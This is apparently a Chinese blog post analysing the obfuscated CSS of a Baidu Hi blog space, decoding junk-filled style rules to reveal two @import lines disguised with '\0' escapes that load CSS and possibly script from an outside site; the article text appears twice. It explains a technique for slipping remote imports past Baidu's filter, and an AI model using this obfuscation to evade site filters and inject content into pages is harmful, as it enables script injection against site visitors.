解析edikid
程序员文章站
2022-07-03 09:40:56
从我发布百度CSS import漏洞开始,就有人不断问我关于http://hi.baidu.com/edikid这个空间,到现在可能有上百人了吧!我曾经说过CSS内容原则上是不能被加密的——原因就是... 08-10-08...
从我发布百度css import漏洞开始,就有人不断问我关于http://hi.baidu.com/edikid这个空间,到现在可能有上百人了吧!我曾经说过css内容原则上是不能被加密的——原因就是它需要被浏览器解析。但是当大家用我的http://dohi.cn/hisearchcss.asp对他的空间css进行查看时,看到的是乱码,似乎他创造了一个奇迹。
这里monyer不对其本人以及技术做任何讨论或评价,仅仅就他的css做一下基本解析,以后大家遇到此问题就不用苦恼了。
先列一下其空间的css代码
以下是代码片段:
@ody{
@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} #header%7@@ackground:#ccff66%3@height:100px%3@width:100%} ad1,ad2,ad3,ad4,ad5,ad6%7@@ackground:#ffcc00%3@color:#2fa4d}@\0i\0m\0p\0o\0r\000t "\0h\0t\0t\0p://bl\0o\0g\0.ed\0i\0k\0id.ne\0t\0/\0h\0ibaidu/c\0s\0s.\0h\0t\0m\0l\0";e%3@} #layout%7@width:98%%3@} #layout td.c3t1%-arrow-color: #000000%3@ scroll@ar-track-color: #ffffff%3@ scroll@ar-darkshadow@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} %%3@ scroll@ar-darkshadow-color: #ffffff%3@ scroll@ar-@ase-color: #ffffff%3@;}@\0i\0m\0p\0o\0r\00t "h\0t\0t\000p:/\0/\0b\0l\0o\0g.e\0d\0i\0k\0i\0d.n\0e\0t\0/\0h\0i\0b\0a\0idu\0/\000js.h\0t\0m\0l";e%3@} #layout%7@width:98%%3@} #layout td.c3t1%-arrow-color: #000000%3@ scroll@ar-track-color: #ffffff%3@ scroll@ar-darkshadow@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} %%3@ %
说实话,如果偏让我对这些代码说出个所以然来,那是不现实的,因为即使对于你们所有的浏览器来说,其中的大部分代码都是无效代码,也就是不管你写什么,都不会执行。
所以里面的
以下是代码片段:
@ody{
@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} #header%7@@ackground:#ccff66%3@height:100px%3@width:100%} ad1,ad2,ad3,ad4,ad5,ad6%7@@ackground:#ffcc00%3@color:#2fa4d}
e%3@} #layout%7@width:98%%3@} #layout td.c3t1%-arrow-color: #000000%3@ scroll@ar-track-color: #ffffff%3@ scroll@ar-darkshadow@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} %%3@ scroll@ar-darkshadow-color: #ffffff%3@ scroll@ar-@ase-color: #ffffff%3@;}
e%3@} #layout%7@width:98%%3@} #layout td.c3t1%-arrow-color: #000000%3@ scroll@ar-track-color: #ffffff%3@ scroll@ar-darkshadow@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} %%3@ %
没有任何意义,你愿意写什么写什么,只要保证语句的正常结束就可以!这也是你不管怎么样也不会读懂的原因。细心的朋友会发现我提出了其中的两句代码,它们是:
@\0i\0m\0p\0o\0r\000t "\0h\0t\0t\0p://bl\0o\0g\0.ed\0i\0k\0id.ne\0t\0/\0h\0ibaidu/c\0s\0s.\0h\0t\0m\0l\0";
@\0i\0m\0p\0o\0r\00t "h\0t\0t\000p:/\0/\0b\0l\0o\0g.e\0d\0i\0k\0i\0d.n\0e\0t\0/\0h\0i\0b\0a\0idu\0/\000js.h\0t\0m\0l";
在css里“\0”、“\00”、“\000”是会被浏览器忽略的(其他的相关的css hacking 请参考monyer的xss系列),那我们去掉看看:
@import "http://blog.edikid.net/hibaidu/css.html";
@import http://blog.edikid.net/hibaidu/js.html;
对于这两句,我想大家再熟悉不过了吧?其中不仅可以放被调用的css代码,同时也可以随意插入js代码(我们不是用它插过视频么?)
但是我们把作者的所有css全部copy到我们那里是不会成功的,原因就是import字符及相关绕过方式早已经被百度过滤了,而作者是在百度过滤之前加入的,并且没有修改过,所以仍然有效。
对于
http://blog.edikid.net/hibaidu/css.html
http://blog.edikid.net/hibaidu/js.html
第一个css调用我没有分析,因为我测试时恰好文件无法访问(第二个应该不会被执行,因为前面的混淆语句不是很完整,这个要看你客户端是什么浏览器了)。
但是以前一次分析时好像记得其中有类似
这样的html转向代码。由于后缀名的关系,当你用浏览器直接访问时,里面的css不会被执行,但会执行嵌入其中的html或js代码;当你用import调用时,里面的html及脚本不会执行,但里面的css会执行。所以你只能用记事本来打开,或flashget下载。
其实说了这么多,我们无非是在css上打转,如果真正地了解什么是css,并切身实地地去思考,我相信就不会有那么多问题出现了。
这里monyer不对其本人以及技术做任何讨论或评价,仅仅就他的css做一下基本解析,以后大家遇到此问题就不用苦恼了。
先列一下其空间的css代码
以下是代码片段:
@ody{
@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} #header%7@@ackground:#ccff66%3@height:100px%3@width:100%} ad1,ad2,ad3,ad4,ad5,ad6%7@@ackground:#ffcc00%3@color:#2fa4d}@\0i\0m\0p\0o\0r\000t "\0h\0t\0t\0p://bl\0o\0g\0.ed\0i\0k\0id.ne\0t\0/\0h\0ibaidu/c\0s\0s.\0h\0t\0m\0l\0";e%3@} #layout%7@width:98%%3@} #layout td.c3t1%-arrow-color: #000000%3@ scroll@ar-track-color: #ffffff%3@ scroll@ar-darkshadow@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} %%3@ scroll@ar-darkshadow-color: #ffffff%3@ scroll@ar-@ase-color: #ffffff%3@;}@\0i\0m\0p\0o\0r\00t "h\0t\0t\000p:/\0/\0b\0l\0o\0g.e\0d\0i\0k\0i\0d.n\0e\0t\0/\0h\0i\0b\0a\0idu\0/\000js.h\0t\0m\0l";e%3@} #layout%7@width:98%%3@} #layout td.c3t1%-arrow-color: #000000%3@ scroll@ar-track-color: #ffffff%3@ scroll@ar-darkshadow@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} %%3@ %
说实话,如果偏让我对这些代码说出个所以然来,那是不现实的,因为即使对于你们所有的浏览器来说,其中的大部分代码都是无效代码,也就是不管你写什么,都不会执行。
所以里面的
以下是代码片段:
@ody{
@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} #header%7@@ackground:#ccff66%3@height:100px%3@width:100%} ad1,ad2,ad3,ad4,ad5,ad6%7@@ackground:#ffcc00%3@color:#2fa4d}
e%3@} #layout%7@width:98%%3@} #layout td.c3t1%-arrow-color: #000000%3@ scroll@ar-track-color: #ffffff%3@ scroll@ar-darkshadow@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} %%3@ scroll@ar-darkshadow-color: #ffffff%3@ scroll@ar-@ase-color: #ffffff%3@;}
e%3@} #layout%7@width:98%%3@} #layout td.c3t1%-arrow-color: #000000%3@ scroll@ar-track-color: #ffffff%3@ scroll@ar-darkshadow@ody%7@@ackground:#ffcc00%3@width:100%%3@overflow-x:hidden%3@color:#2fa4de} %%3@ %
没有任何意义,你愿意写什么写什么,只要保证语句的正常结束就可以!这也是你不管怎么样也不会读懂的原因。细心的朋友会发现我提出了其中的两句代码,它们是:
@\0i\0m\0p\0o\0r\000t "\0h\0t\0t\0p://bl\0o\0g\0.ed\0i\0k\0id.ne\0t\0/\0h\0ibaidu/c\0s\0s.\0h\0t\0m\0l\0";
@\0i\0m\0p\0o\0r\00t "h\0t\0t\000p:/\0/\0b\0l\0o\0g.e\0d\0i\0k\0i\0d.n\0e\0t\0/\0h\0i\0b\0a\0idu\0/\000js.h\0t\0m\0l";
在css里“\0”、“\00”、“\000”是会被浏览器忽略的(其他的相关的css hacking 请参考monyer的xss系列),那我们去掉看看:
@import "http://blog.edikid.net/hibaidu/css.html";
@import http://blog.edikid.net/hibaidu/js.html;
对于这两句,我想大家再熟悉不过了吧?其中不仅可以放被调用的css代码,同时也可以随意插入js代码(我们不是用它插过视频么?)
但是我们把作者的所有css全部copy到我们那里是不会成功的,原因就是import字符及相关绕过方式早已经被百度过滤了,而作者是在百度过滤之前加入的,并且没有修改过,所以仍然有效。
对于
http://blog.edikid.net/hibaidu/css.html
http://blog.edikid.net/hibaidu/js.html
第一个css调用我没有分析,因为我测试时恰好文件无法访问(第二个应该不会被执行,因为前面的混淆语句不是很完整,这个要看你客户端是什么浏览器了)。
但是以前一次分析时好像记得其中有类似
这样的html转向代码。由于后缀名的关系,当你用浏览器直接访问时,里面的css不会被执行,但会执行嵌入其中的html或js代码;当你用import调用时,里面的html及脚本不会执行,但里面的css会执行。所以你只能用记事本来打开,或flashget下载。
其实说了这么多,我们无非是在css上打转,如果真正地了解什么是css,并切身实地地去思考,我相信就不会有那么多问题出现了。